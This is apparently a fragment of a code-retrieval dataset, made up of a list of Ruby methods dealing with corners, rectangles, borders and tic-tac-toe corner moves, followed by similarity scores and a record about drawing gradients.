"def get_edge_corner_dis\n top_left = [self.x - self.ox, self.y - self.oy]\n bot_right = [top_left[0] + self.width, top_left[1] + self.height]\n return [top_left, bot_right]\n end",
"def corner_open\n case \n when space_open?(1)\n 1\n when space_open?(3)\n 3\n when space_open?(7)\n 7\n when space_open?(9)\n 9\n end\n end",
"def pick_corners_face\n b = face_bounding_rect(front)\n edges = []\n front.sides[0..1].each_with_index do |face, index|\n edges << Notching::Edge.new(b.sides[index], face, :notch_width => notch_width, :kerf => kerf )\n end\n edges.map(&:notch_count).all?{|c| c % 4 == 3} ? :top : :front\n end",
"def ai_strategy_corners(board)\n\t\tmove = 0\n\t\tcorners = [\"1\", \"3\", \"7\", \"9\"] # Corner positions\n\t\tarray = []\n\t\tcorners.each do |a|\n\t\t\tif @current_player_positions.include?(a) # Is the current player in any of the corner positions?\n\t\t\t\tarray << a # If current player holds a corner position push the position to array\n\t\t\tend\n\t\tend\n\t\t# If current player has a corner position and the other player is in the centre position\n\t\tif array.length > 0 && @other_player_positions.include?(\"5\")\n\t\t\tarray.each do |a|\n\t\t# Depending on which corner is held current player takes the opposite corner\n\t\t\t\tcase a\n\t\t\t\t\twhen \"1\"\n\t\t\t\t\t\tmove = \"9\"\n\t\t\t\t\twhen \"3\"\n\t\t\t\t\t\tmove = \"7\"\n\t\t\t\t\twhen \"7\"\n\t\t\t\t\t\tmove = \"3\"\n\t\t\t\t\twhen \"9\"\n\t\t\t\t\t\tmove = \"1\"\n\t\t\t\t\telse\n\t\t\t\t\t\tbreak\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\tif move !=nil && board.valid_move?(move) # Provided move exists and is valid it is the move\n\t\t\tmove\n\t\tend\n\tend",
"def corners\n\t\tCORNERS.shuffle!\n\tend",
"def rounded_corner(horizontal, vertical)\n css = [] << \"border\"\n attrs = {\n top: \"bottom\", bottom: \"top\",\n left: \"right\", right: \"left\" }\n css << attrs.fetch(vertical)\n css << attrs.fetch(horizontal)\n css << \"radius\"\n css.join(\"-\")\n end",
"def corner( spot )\n case spot\n when :ul; x1y1\n when :ur; x2y1\n when :dl; x1y2\n when :dr; x2y2\n else; raise RuntimeError, \"Unknown corner spot: #{spot}\"\n end\n end",
"def chech_first_corner_edge()\n\t\tposition = 4\n\t\treturn position\n\tend",
"def chech_first_corner_edge()\n\t\tposition = 4\n\t\treturn position\n\tend",
"def sel_op_cor(corner)\n # if @opcor_1 and corner differ by 1 opposite corner is in @opcor_1, otherwise its in @opcor_2\n (@opcor_1 - corner).size == 1 ? position = (@opcor_1 - corner)[0] : position = (@opcor_2 - corner)[0]\n end",
"def to_s\n \"Rectangle corners #{c1} and #{c2}\"\n end",
"def compute_dungeon_corners\n @d_top_left_x = @d_top_left_y = @d_bottom_right_x = @d_bottom_right_y = 0\n @rooms.each do |room|\n top_left_x, top_left_y, bottom_right_x, bottom_right_y = room.room_corners\n\n @d_top_left_x = top_left_x if top_left_x < @d_top_left_x\n @d_top_left_y = top_left_y if top_left_y < @d_top_left_y\n\n @d_bottom_right_x = bottom_right_x if bottom_right_x > @d_bottom_right_x\n @d_bottom_right_y = bottom_right_y if bottom_right_y > @d_bottom_right_y\n end\n end",
"def rmy(corner, i)\n case corner\n when :tl; reg_off\n when :tr; reg_off\n when :br; page_height - reg_search - reg_off - reg_radius * i\n when :bl; page_height - reg_search - reg_off - reg_radius * i\n end\n end",
"def cornerMove\n # corners are 0 2 6 8\n opponent = (currentPlayer == 'X')? 'O' : 'X' \n CORNERS.each_with_index do |corner, i|\n if @board[corner] == opponent && !position_taken?(CORNERS[( i + 2) % 4])\n return CORNERS[( i + 2) % 4]\n end\n end\n\n # if here, then there is no opposite corner left to occupy, so any avaiable corner\n CORNERS.each do |corner| \n if !position_taken?(corner) \n return corner\n end\n end\n return false\n end",
"def corner_check(board)\n CORNERS.each do |corner|\n if !board.taken?(corner)\n return corner.to_s\n end\n end\n nil\n end",
"def opposite_corner\n if @board.taken?(1) && !@board.taken?(9)\n 9\n elsif @board.taken?(9) && !@board.taken?(1)\n 1\n elsif @board.taken?(3) && !@board.taken?(7)\n 7\n elsif @board.taken?(7) && !@board.taken?(3)\n 3\n else\n nil\n end\n end",
"def rounded_corners(content, options={})\n radius = options.delete(:radius)\n box_background_color = options.delete(:box_color)\n line_border_color = options.delete(:corner_color)\n \n box_style = options.delete(:style)\n box_attributes = options.map {|k, v| \"#{k.to_s}=\\\"#{v}\\\"\" }.join(' ')\n\n steps = corner_steps(radius.to_i)\n\n html = []\n html << \"<div style=\\\"position: relative; border: medium none; padding: #{radius}px; background: #{box_background_color}; #{box_style}\\\" #{box_attributes}>\"\n html << \"<div style=\\\"margin: -#{radius}px -#{radius}px 0px;\\\">\" \n steps.reverse.each do |i|\n html << \"<div style=\\\"border-style: none solid; overflow: hidden; height: 1px; background-color: transparent; border-width: 0pt #{i}px; border-color: #{line_border_color};\\\"></div>\"\n end\n html << \"</div>\"\n html << content\n html << \"<div style=\\\"margin: 0pt; padding: 0pt; position: absolute; left: 0pt; bottom: 0pt; width: 100%;\\\">\"\n steps.each do |i|\n html << \"<div style=\\\"border-style: none solid; overflow: hidden; height: 1px; background-color: transparent; border-width: 0pt #{i}px; border-color: #{line_border_color};\\\"></div>\"\n end\n html << \"</div>\"\n html << \"</div>\"\n\n html.join('')\nend",
"def corner_position(x, y)\n { x: x_edge_position(x), y: y_edge_position(y) }\n end",
"def pretty_corner_label\n if corner_label == 'V'\n vertical_code_list.label\n elsif corner_label == 'H'\n horizontal_code_list.label\n else\n nil\n end\n end",
"def outer_width; rect.width + @border_thickness * 2; end",
"def facing_corners?\n case $game_map.map.scroll_type\n when 1 then return false if @direction == 2 || @direction == 8\n when 2 then return false if @direction == 4 || @direction == 6\n when 3 then return false\n end\n m = $game_map\n unless @x.between?(1, m.width - 2) && @y.between?(1, m.height - 2)\n return true if @x == 0 and @direction == 4\n return true if @y == 0 and @direction == 8\n return true if @x == m.width - 1 and @direction == 6\n return true if @y == m.height - 1 and @direction == 2\n end\n return false\n end",
"def opposite_corner\n corners_opposite = {1=>9,3=>7,7=>3,9=>1}\n corners = corners_opposite.keys\n corners.each do |corner|\n opposite_corner = corners_opposite[corner]\n if @game.game.get_position(corner) == opponent_marker and @game.game.free_position?(opposite_corner)\n return corners_opposite[corner]\n end\n end\n false\n end",
"def rounded_corner(radius, direction)\n r = 0.5522 * radius\n old_mode, @mode = @mode, :relative\n case direction.to_s\n when 'lu' then curve_to(-r, 0, -radius, -(radius - r), -radius, -radius)\n when 'ld' then curve_to(-r, 0, -radius, radius - r, -radius, radius)\n when 'ru' then curve_to( r, 0, radius, -(radius - r), radius, -radius)\n when 'rd' then curve_to( r, 0, radius, radius - r, radius, radius)\n when 'ur' then curve_to( 0, -r, -(r - radius), -radius, radius, -radius)\n when 'ul' then curve_to( 0, -r, r - radius, -radius, -radius, -radius)\n when 'dr' then curve_to( 0, r, -(r - radius), radius, radius, radius)\n when 'dl' then curve_to( 0, r, r - radius, radius, -radius, radius)\n else raise TypeError(\"Invalid rounded corner argument: #{direction}\")\n end\n @mode = old_mode\n return self\n end",
"def left_corner_inside?(rectangle, point)\n return ((point[0] >= rectangle[0][0] and\n point[0] < rectangle[1][0]) and\n (point[1] >= rectangle[0][1] and\n point[1] < rectangle[1][1]))\nend",
"def outer_height; rect.height + @border_thickness * 2; end",
"def sum_of_interior_angles\n 180 * (@number_of_sides - 2)\n end",
"def open_corner(board)\n # NOTE this could be cleaned up further.\n open_corners = []\n open_corners << 1 if board.open?(1)\n open_corners << 3 if board.open?(3)\n open_corners << 7 if board.open?(7)\n open_corners << 9 if board.open?(9)\n self.rand_from_array(open_corners)\n end",
"def get_op_cor(player, opponent)\n p_corner = (player & @corners) # determine the player's corners\n o_corner = (opponent & @corners) # determine the opponent's corners\n if (@opcor_1 & p_corner).size == 0 && (@opcor_1 & o_corner).size == 1\n position = (@opcor_1 - o_corner)[0] # opposite corner is in @opcor_1\n elsif (@opcor_2 & p_corner).size == 0 && (@opcor_2 & o_corner).size == 1\n position = (@opcor_2 - o_corner)[0] # opposite corner is in @opcor_2\n else\n get_avail_cor(player, opponent) # otherwise check for any open corner\n end\n end",
"def corner(board)\n corner_move = nil\n if board.position(1) != self.token && !board.taken?(9)\n corner_move = 9\n elsif board.position(3) != self.token && !board.taken?(7)\n corner_move = 7\n elsif board.position(7) != self.token && !board.taken?(3)\n corner_move = 3\n elsif board.position(9) != self.token && !board.taken?(1)\n corner_move = 1\n else\n corner_move = [1, 3, 7, 9].shuffle.find {|x| !board.taken?(x)}\n end\n corner_move\n end",
"def inside_rect? outer, tolerance = 0.0\n Geometry.inside_rect? self, outer, tolerance\n end",
"def get_avail_cor(player, opponent)\n taken = player + opponent # all occupied board positions\n avail_cor = @corners - (@corners & taken) # determine which corners are taken\n if avail_cor.size > 0 # if there are any open corners\n position = avail_cor.sample # take one of them\n else\n position = get_avail_edg(player, opponent) # otherwise take an open edge\n end\n end",
"def rmx(corner, i)\n case corner\n when :tl; reg_off\n when :tr; page_width - reg_search - reg_off - reg_radius * i\n when :br; page_width - reg_search - reg_off - reg_radius * i\n when :bl; reg_off\n end\n end",
"def sel_spec_cor(player, opponent)\n taken = player + opponent # all occupied board positions\n if (taken - @opcor_1).size == 0 || (taken - @opcor_2).size == 0 # if player/opponent are at opposing corners\n position = (@corners - taken).sample # determine available corners, then randomly choose one\n elsif (taken - @corners).size > 0 # round 5 - if opponent has corner & non-corner\n position = (@corners - (taken & @corners))[0] # determine taken corners, then take last open one\n else\n position = sel_op_cor(player) # otherwise figure out which corner is opposite and take it\n end\n end",
"def opposite_corner(board)\n #NOTE this could be cleaned up further with a function that accepts two arguments ie opposite_corner_play(0,9) and then iterating over an array of corners with it...but I'm not going to do that right now.\n # NOTE opponent_in_cell opperates on indexes, board.open? operates on inputs. return is an input.\n opposite_corners = []\n opposite_corners << 9 if opponent_in_cell(0, board) && board.open?(9) # cell 8\n opposite_corners << 7 if opponent_in_cell(2, board) && board.open?(7) # cell 6\n opposite_corners << 3 if opponent_in_cell(6, board) && board.open?(3) # cell 2\n opposite_corners << 1 if opponent_in_cell(8, board) && board.open?(1) # cell 0\n self.rand_from_array(opposite_corners)\n end",
"def intersectRect(rect)\n rect.containsXY(left,top) ||\n rect.containsXY(right,top) ||\n rect.containsXY(left,bottom) ||\n rect.containsXY(right,bottom) ||\n self.containsXY(rect.left,rect.top) ||\n self.containsXY(rect.right,rect.top) ||\n self.containsXY(rect.left, rect.bottom) ||\n self.containsXY(rect.right,rect.bottom)\n end",
"def get_row\n current_test_corner = \"\"\n current_test_corner << @array_chosen[@current_row][@current_col].to_s\n return current_test_corner\n end",
"def corner_move(board)\n random_corners = [0, 2, 6, 8].shuffle!\n random_corners.find {|cell| !board.taken?(cell+1)}\n end",
"def all_corners_filled?(board)\n\t\tarray = []\n\t\tcorner_1 = board.cells[CORNERS[0]-1]#1\n\t\tcorner_2 = board.cells[CORNERS[1]-1]#3\n\t\tcorner_3 = board.cells[CORNERS[2]-1]#9\n\t\tcorner_4 = board.cells[CORNERS[3]-1]#7\n\t\tarray += [corner_1,corner_2,corner_3,corner_4]\n\t\t# returns true if none of the corners are empty\n\t\t array.none?{|value|value == \" \"}\n\tend",
"def contain?(rect)\n nself = self#.normalize\n rect = Rect.new_from_object(rect)#.normalize!\n return (nself.left <= rect.left and rect.right <= nself.right and\n nself.top <= rect.top and rect.bottom <= nself.bottom)\n end",
"def rounded_corners=(v) Axlsx.validate_boolean(v); @rounded_corners = v; end",
"def bounds\n \"#{top},#{left}:#{bottom},#{right}\"\n end",
"def corner(position, idx, idx2)\n positions = []\n case idx\n when 0\n if idx2 == 0\n positions << @grid[idx][idx2 + 1]\n positions << @grid[idx + 1][idx2]\n else\n positions << @grid[idx][idx2 - 1]\n positions << @grid[idx + 1][idx2]\n end\n when @y\n if idx2 == 0\n positions << @grid[idx][idx2 + 1]\n positions << @grid[idx - 1][idx2]\n else\n positions << @grid[idx][idx2 - 1]\n positions << @grid[idx - 1][idx2]\n end\n end\n positions.each { |node| position.connect(node) }\n end",
"def upper_left_box(i, j)\n x = (i / @box_height).floor * @box_height\n y = (j / @box_width).floor * @box_width\n\n return x, y\n end",
"def area_of_rect(l, w)\n return l * w\nend",
"def name\n location_in_intersection.present? ? (\n \"#{id}-#{location_in_intersection}\"\n ) : (\"Corner ##{id}\")\n end",
"def empty_corner\n corners = [1,3,7,9]\n corners.select! {|corner| @game.game.free_position?(corner) }\n return corners.shuffle.first if !corners.empty?\n false\n end",
"def magick_crop_rect\n [x1, y1, x2-x1, y2-y1]\n end",
"def to_rect\n CGRectMake(*self[0,4])\n end",
"def contains?(other)\n other.corners.all? { |corner| includes_point?(corner) }\n end",
"def roundrectangle(center_x, center_y, width, height, corner_width, corner_height)\n primitive 'roundrectangle ' + sprintf(\n '%g,%g,%g,%g,%g,%g',\n center_x, center_y, width, height, corner_width, corner_height\n )\n end",
"def within_drawn? x1, y1, x2, y2\n ((x2 - @origin.x) < x1 && x1 < (x2 - origin.x + size.x) && (y2 - @origin.y) < y1 && y1 < (y2 - origin.y + size.y))\nend",
"def bounding_box\n r = @radius\n bottom_left = Point[@centre.x - r, @centre.y - r]\n top_right = Point[@centre.x + r, @centre.y + r]\n [bottom_left, top_right]\n end",
"def midright; return self.right, self.centery; end",
"def opposite_corners?\n (@grid[\"a1\"] == @player_mark && @grid[\"c3\"] == @player_mark) || (@grid[\"a3\"] == @player_mark && @grid[\"c1\"] == @player_mark)\n end",
"def area_clicked(leftX, topY, rightX, bottomY)\n if @albums.length == 1\n if leftX > 50 and topY > 100 and rightX < 250 and bottomY < 300\n @choice = 1\n end\n elsif @albums.length == 2\n if ((leftX > 50 and rightX < 250) and (topY > 100 and bottomY < 300))\n @choice = 0\n elsif((leftX > 270 and rightX < 470) and (topY > 100 and bottomY < 300))\n @choice = 1\n end \n elsif @albums.length == 3\n if ((leftX > 50 and rightX < 250) and (topY > 100 and bottomY < 300))\n @choice = 0\n elsif((leftX > 270 and rightX < 470) and (topY > 100 and bottomY < 300))\n @choice = 1\n elsif ((leftX > 50 and rightX < 250) and (topY > 350 and bottomY < 520))\n @choice = 2\n end \n elsif @albums.length == 4\n if ((leftX > 50 and rightX < 250) and (topY > 100 and bottomY < 300))\n @choice = 0\n elsif((leftX > 270 and rightX < 470) and (topY > 100 and bottomY < 300))\n @choice = 1\n elsif ((leftX > 50 and rightX < 250) and (topY > 350 and bottomY < 520))\n @choice = 2\n elsif((leftX > 270 and rightX < 470) and (topY > 350 and bottomY < 520))\n @choice = 3\n end \n end\n return @choice\n end",
"def extend!(envelope)\r\n lower_corner.x = [lower_corner.x,envelope.lower_corner.x].min\r\n lower_corner.y = [lower_corner.y,envelope.lower_corner.y].min\r\n upper_corner.x = [upper_corner.x,envelope.upper_corner.x].max\r\n upper_corner.y = [upper_corner.y,envelope.upper_corner.y].max\r\n self\r\n end",
"def borders\n return @borders\n end",
"def bad_find_corners(all_inputs, min_max)\n puts \"#{__method__}:: \"\n\n x_sort = all_inputs.sort_by {|_key, value| value['x']}\n y_sort = all_inputs.sort_by {|_key, value| value['y']}\n\n min_max['x_min'] = x_sort[0][1]['x']\n min_max['x_max'] = x_sort[-1][1]['x']\n min_max['y_min'] = y_sort[0][1]['y']\n min_max['y_max'] = y_sort[-1][1]['y']\n pp min_max\n\n #tr = (x - point['x']).abs + (y - point['y']).abs\n tl = min_max['y_max'] + min_max['x_max']\n tl_label = ''\n x = 0\n y = 0\n all_inputs.each do |label, point|\n d = (x - point['x']).abs + (y - point['y']).abs\n if d < tl\n tl = d\n tl_label = label\n end\n end\n\n bl = min_max['y_max'] + min_max['x_max']\n bl_label = ''\n x = 0\n y = min_max['y_max']\n all_inputs.each do |label, point|\n d = (x - point['x']).abs + (y - point['y']).abs\n if d < bl\n bl = d\n bl_label = label\n end\n end\n\n tr = min_max['y_max'] + min_max['x_max']\n tr_label = ''\n x = min_max['x_max']\n y = 0\n all_inputs.each do |label, point|\n d = (x - point['x']).abs + (y - point['y']).abs\n if d < tr\n tr = d\n tr_label = label\n end\n end\n\n br = min_max['y_max'] + min_max['x_max']\n br_label = ''\n x = min_max['x_max']\n y = min_max['y_max']\n all_inputs.each do |label, point|\n d = (x - point['x']).abs + (y - point['y']).abs\n if d < br\n br = d\n br_label = label\n end\n end\n\n puts \"tl_label #{tl_label}\"\n puts \"bl_label #{bl_label}\"\n puts \"tr_label #{tr_label}\"\n puts \"br_label #{br_label}\"\n # pp x_sort\n # pp y_sort\n\n # Top right corner is a point that has overall max X and overall min\n # Y. Find it by sorting all points by x and all points by y. Then\n # start at largest X - 1 and smallest Y and look for point that has\n # matching y and label name.\n found = false\n x_sort.reverse.each do |xlabel, xpoint|\n y_sort[0..-2].each do |ylabel, ypoint|\n #puts \"Check #{xlabel} #{xpoint} #{ylabel} #{ypoint}\"\n if (xlabel == ylabel)\n puts \" MATCH TR #{xlabel} #{xpoint}\"\n all_inputs[xlabel]['corner'] = 'TR'\n found = true\n break\n end\n end\n break if found\n end\n\n # Bottom left corner is similar to to top right.\n found = false\n x_sort[1..-1].each do |xlabel, xpoint|\n y_sort.reverse.each do |ylabel, ypoint|\n #puts \"Check #{xlabel} #{xpoint} #{ylabel} #{ypoint}\"\n if (xlabel == ylabel)\n puts \" MATCH BL #{xlabel} #{xpoint}\"\n all_inputs[xlabel]['corner'] = 'BL'\n found = true\n break\n end\n end\n break if found\n end\n\n # Top left corner\n found = false\n x_sort.each do |xlabel, xpoint|\n y_sort.each do |ylabel, ypoint|\n #puts \"Check #{xlabel} #{xpoint} #{ylabel} #{ypoint}\"\n if (xlabel == ylabel)\n puts \" MATCH TL #{xlabel} #{xpoint}\"\n all_inputs[xlabel]['corner'] = 'TL'\n found = true\n break\n end\n end\n break if found\n end\n\n # Bottom corner\n found = false\n x_sort.reverse.each do |xlabel, xpoint|\n y_sort.reverse.each do |ylabel, ypoint|\n #puts \"Check #{xlabel} #{xpoint} #{ylabel} #{ypoint}\"\n if (xlabel == ylabel)\n puts \" MATCH BR #{xlabel} #{xpoint}\"\n all_inputs[xlabel]['corner'] = 'BR'\n found = true\n break\n end\n end\n break if found\n end\n\nend",
"def with_crop(left, top, right, bottom); end",
"def bound_in_rect(rect)\n result = rect\n if rect.x < 0\n result.width = rect.width - rect.x\n result.x = 0\n end\n if rect.y < 0\n result.height = result.height - rect.y\n result.y = 0\n end\n if rect.width > xsize\n result.width = xsize\n end\n if rect.height > ysize\n result.height = ysize\n end\n return result\n end",
"def solve( n = 1_001 )\n # For each enclosing rectangle, index 0 < i < (n - 1)/2, the corner values\n # are given by:\n #\n # lr[0] = ll[0] = ul[0] = ur[0] = 1, and\n #\n # lr[i+1] = lr[i] + 8*i + 2\n # ll[i+i] = ll[i] + 8*i + 4 = lr[i] + 10*i + 4\n # ul[i+1] = ul[i] + 8*i + 6 = lr[i] + 12*i + 6\n # ur[i+i] = ur[i] + 8*i + 8 = lr[i] + 14*i + 8\n #\n # The sum of the corners of rectangle i for 0 < i is then given by\n #\n # sum[i+1] = lr[i+1] + ll[i+1] + ul[i+1] + ur[i+1] = 4*lr[i] + 44*i + 20\n # sum[i+1] = sum[i] + 32*i + 20\n\n sum = 4\n total = 0\n\n 0.upto( n >> 1 ) do |i|\n total += sum\n sum += ((i << 3) + 5) << 2\n end\n\n # The center 1 was counted four times, so adjust.\n total - 3\n end",
"def bordered_bounds\n peer.get_bordered_bounds.clone\n end",
"def border_right()\n return get_border(:right)\n end",
"def sides\n @sides\n end",
"def hunter_trapped?\n\t\tcorners = []\n\t\t[-1, +1].each{|dx| [-1, +1].each{|dy| corners << {:x => @hunter.x + dx, :y => @hunter.y + dy} } }\n\t\t!(corners.map{|p| occupied?(p[:x], p[:y])}.include? false )\n\tend",
"def border_radius(topleft, topright=nil, bottomright=nil, bottomleft=nil)\n bottomleft ||= bottomright || topright || topleft\n topright = topleft if bottomright.blank? || topright.blank?\n bottomright ||= bottomleft\n \"border-top-left-radius: #{topleft}; -moz-border-radius-topleft: #{topleft}; -webkit-border-top-left-radius: #{topleft}; border-top-right-radius: #{topright}; -moz-border-radius-topright: #{topright}; -webkit-border-top-right-radius: #{topright}; border-bottom-left-radius: #{bottomleft}; -moz-border-radius-bottomleft: #{bottomleft}; -webkit-border-bottom-left-radius: #{bottomleft}; border-bottom-right-radius: #{bottomright}; -moz-border-radius-bottomright: #{bottomright}; -webkit-border-bottom-right-radius: #{bottomright};\"\n end",
"def bounds(shape)\n if shape.union1d? then bounding_range1d(bounds(shape.left), bounds(shape.right))\n elsif shape.union2d? then bounding_range2d(bounds(shape.left), bounds(shape.right))\n elsif range1d?(shape) or shape.range2d? then shape \n else check_pre(false)\n end\nend",
"def is_border?(); @type == GRT_BORDER; end",
"def area; rect size; end",
"def box\r\n x = (@constrict.nil? || @width <= @constrict) ? 0 : ((@width-@constrict)/2.0).ceil\r\n y = (@constrict.nil? || @width <= @constrict) ? 0 : ((@height-@constrict)/2.0).ceil\r\n w = (@constrict.nil? || @width <= @constrict) ? @width : @constrict\r\n h = (@constrict.nil? || @width <= @constrict) ? @height : @constrict\r\n return x, y, w, h\r\n end",
"def empty_corner(board)\n\t\tCORNERS.each do |corner|\n\t\t\tif board[corner] == \" \"\n\t\t\t\treturn corner\n\t\t\tend\n\t\tend\n\t\treturn false\n\tend",
"def controlled_square(_)\n ([-1, 1, 0].product([-1, 1, 0]) - [[0, 0]])\n .map { |mod| [@position[0] + mod[0], @position[1] + mod[1]] }\n .select { |i| Helper::in_border?(*i) }\n end",
"def over?(x, y = nil, w = nil, h = nil)\n return @x >= x.x && @x < x.x + x.w && @y >= x.y && @y < x.y + x.h if x.is_a? Rectangle\n @x >= x && @x < x + w && @y >= y && @y < y + h\n end",
"def corner_points_of_entity(x, y)\n [\n [x, y],\n [x + Entity::WIDTH - 1, y],\n [x, y + Entity::HEIGHT - 1],\n [x + Entity::WIDTH - 1, y + Entity::HEIGHT - 1],\n ]\n end",
"def corner_sum(n)\n return 1 if n == 1\n # n*n + n*n - (n-1) + n*n - 2*(n-1) + n*n - 3*(n-1) \n return 4*n*n - 6*(n-1)\nend",
"def view_corner(view, index, distance, transform)\n ray = view.pickray(view.corner(index))\n if ray\n pt = ray[0].offset ray[1], distance\n else\n pt = view.camera.eye\n end\n pt.transform transform\nend",
"def no_problem_corners?(cell)\n maze.corners_of(cell).all? do |corner|\n num_shared = maze.shared_edges(cell, corner).count { |edge| maze.is? edge, type: :path }\n maze.is?(corner, type: :wall) || 1 == num_shared\n end\n end",
"def include?(other_square)\n # top left\n @square.contains?(other_square.x1, other_square.y1) || \n # top right\n @square.contains?(other_square.x1, other_square.y2) || \n # bottom right\n @square.contains?(other_square.x1, other_square.y3) || \n # bottom left\n @square.contains?(other_square.x1, other_square.y4) \nend",
"def which_box(row, col)\n if (0..2).include?(row) && (0..2).include?(col)\n return \"box_1\"\n elsif (0..2).include?(row) && (3..5).include?(col)\n return \"box_2\"\n elsif (0..2).include?(row) && (6..8).include?(col)\n return \"box_3\"\n elsif (3..5).include?(row) && (0..2).include?(col)\n return \"box_4\"\n elsif (3..5).include?(row) && (3..5).include?(col)\n return \"box_5\"\n elsif (3..5).include?(row) && (6..8).include?(col)\n return \"box_6\"\n elsif (6..8).include?(row) && (0..2).include?(col)\n return \"box_7\"\n elsif (6..8).include?(row) && (3..5).include?(col)\n return \"box_8\"\n elsif (6..8).include?(row) && (6..8).include?(col)\n return \"box_9\"\n else\n p \"illegal index\"\n end\n end",
"def interaction_rect\r\r\n collision = @interaction[@direction]\r\r\n if collision.nil?\r\r\n return collision_rect\r\r\n end\r\r\n return Rect.new(collision[0], collision[1], collision[2] - 1, collision[3] - 1)\r\r\n end",
"def std() CGRectStandardize(self) end",
"def bounding_box\r\n end",
"def to_bounding_box\n [[west, south], [east, north]] if @envelope.present?\n end",
"def inArea?(x,y,width,height)\n rect=Rect.new(x,y,width,height)\n return self.over?(rect)\n end",
"def ==(rect)\n @left_edge == rect.left_edge &&\n @right_edge == rect.right_edge &&\n @top_edge == rect.top_edge &&\n @bottom_edge == rect.bottom_edge\n end",
"def pos_rect_nt?(x, y, rect)\r\r\n pos_rect?(x, y, rect) && !@through\r\r\n end",
"def rect; end",
"def rect; end",
"def right_of?(w)\n\t\t(w.left < self.left) &&\n\t\t(w.top <= self.bottom) &&\n\t\t(self.top <= w.bottom)\n\tend",
"def improve_cell_corners(table_str)\n # The ([\\e\\[\\d*m]*) groups are meant to handle colored horizontal bars. This does\n # not take into account vertical colored bars and assumes the color code is\n # positioned before the first horizontal bar or after the last one.\n str = table_str.dup.gsub(/\\u2501([\\e\\[\\d*m]*) \\u2503 ([\\e\\[\\d*m]*)\\u2501/) do\n \"\\u2501#{ $1 }\\u2501\\u254B\\u2501#{ $2 }\\u2501\"\n end\n str.gsub!(/\\u2501([\\e\\[\\d*m]*) \\u2503/) { \"\\u2501#{ $1 }\\u2501\\u252B\" }\n str.gsub(/\\u2503 ([\\e\\[\\d*m]*)\\u2501/) { \"\\u2523\\u2501#{ $1 }\\u2501\" }\n end",
"def intersect? rect\n rect.is_a?(Rectangle) && !(@x + @width < rect.x || rect.x + rect.width < @x || @y + @height < rect.y || rect.y + rect.height < @y)\n end",
"def opposite_corner(board)\n\t\tCORNERS.each do |corner|\n\t\t\tif board[corner] == opponent_symbol(@symbol)\n\t\t\t\tmove = opposite(corner)\n\t\t\t\treturn move if board[move] == \" \"\n\t\t\tend\n\t\tend\n\t\treturn false\n\tend"
] |
[
"0.7324402",
"0.69253755",
"0.6824708",
"0.6799137",
"0.6780252",
"0.6506764",
"0.6357849",
"0.6342248",
"0.62698215",
"0.62506044",
"0.60798097",
"0.607697",
"0.605454",
"0.603872",
"0.6009361",
"0.59579533",
"0.5948596",
"0.5948596",
"0.59128255",
"0.58723575",
"0.5840286",
"0.58182114",
"0.5783945",
"0.57524544",
"0.57247645",
"0.56652135",
"0.5588887",
"0.5586783",
"0.55763066",
"0.5547834",
"0.5529701",
"0.5496512",
"0.5484086",
"0.5462302",
"0.5450534",
"0.5436778",
"0.5402919",
"0.5369452",
"0.53518164",
"0.5284278",
"0.52762145",
"0.52411836",
"0.5240846",
"0.521944",
"0.5205921",
"0.5176662",
"0.5131089",
"0.5128384",
"0.511642",
"0.5112917",
"0.5108732",
"0.5103112",
"0.5091064",
"0.50876856",
"0.5046043",
"0.5039274",
"0.5024166",
"0.5021246",
"0.50122947",
"0.50119704",
"0.5008698",
"0.4994242",
"0.49896315",
"0.49823585",
"0.4979289",
"0.49792847",
"0.49469545",
"0.49435896",
"0.49192825",
"0.4889495",
"0.48807487",
"0.48780635",
"0.48656553",
"0.48610282",
"0.48536202",
"0.484484",
"0.4839804",
"0.4834595",
"0.48219407",
"0.4821252",
"0.48174414",
"0.4808166",
"0.47850156",
"0.47844157",
"0.47788525",
"0.47760943",
"0.4763681",
"0.47596842",
"0.4759114",
"0.4754205",
"0.4735663",
"0.47166118",
"0.46905366",
"0.4683964",
"0.4675515",
"0.465829",
"0.465829",
"0.46544",
"0.4650759",
"0.46499947",
"0.46422032"
] |
0.0
|
-1
|
if true, gradient options are KCGGradientDrawsBeforeStartLocation | KCGGradientDrawsAfterEndLocation
|
def initialize(p1, p2, colors, points=nil)
super(p1, p2)
if colors.is_a?(Hash)
self.points(colors.keys)
self.colors(colors.values)
else
self.colors(colors)
self.points(points)
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def gradient(gradient=Gradient.new, start_x=@width/2, start_y=0, end_x=@width/2, end_y=@height)\n #options = KCGGradientDrawsBeforeStartLocation\n #options = KCGGradientDrawsAfterEndLocation\n CGContextDrawLinearGradient(@ctx, gradient.gradient, NSMakePoint(start_x, start_y), NSMakePoint(end_x, end_y), gradient.pre + gradient.post)\n end",
"def fill_gradient(options)\r\n default_options = { :from => Gosu::Color::BLACK,\r\n :to => Gosu::Color::WHITE,\r\n :thickness => 10, \r\n :orientation => :vertical,\r\n :rect => Rect.new([0, 0, $window.width, $window.height]),\r\n :zorder => 0,\r\n :mode => :default\r\n }\r\n options = default_options.merge(options)\r\n \r\n rect = Rect.new(options[:rect])\r\n colors = options[:colors] || options.values_at(:from, :to)\r\n \r\n case options[:orientation]\r\n when :vertical\r\n rect.height /= colors.count - 1\r\n colors.each_cons(2) do |from, to|\r\n $window.draw_quad( rect.left, rect.top, from,\r\n rect.right, rect.top, from,\r\n rect.right, rect.bottom, to,\r\n rect.left, rect.bottom, to,\r\n options[:zorder], options[:mode]\r\n )\r\n rect.top += rect.height\r\n end\r\n when :horizontal\r\n rect.width /= colors.count - 1\r\n colors.each_cons(2) do |from, to|\r\n $window.draw_quad( rect.left, rect.top, from,\r\n rect.left, rect.bottom, from,\r\n rect.right, rect.bottom, to,\r\n rect.right, rect.top, to,\r\n options[:zorder], options[:mode]\r\n )\r\n rect.left += rect.width\r\n end\r\n else\r\n raise ArgumentError, \"bad gradient orientation: #{options[:orientation]}\"\r\n end\r\n end",
"def add_drawgradient_option(theOption)\n if @elementHash[:gradientoptions].nil?\n @elementHash[:gradientoptions] = [theOption]\n else\n @elementHash[:gradientoptions].push(theOption)\n end\n @elementHash[:gradientoptions]\n end",
"def gradient\n if end_point && start_point\n (end_point.y - start_point.y) / (end_point.x - start_point.x)\n else\n nil\n end\n end",
"def gradient_layer \n @gradient_layer ||= CAGradientLayer.layer.tap do |gradient_layer|\n gradient_layer.colors = colors\n gradient_layer.locations = [0.0, 0.01, 0.95, 1.0]\n end\n end",
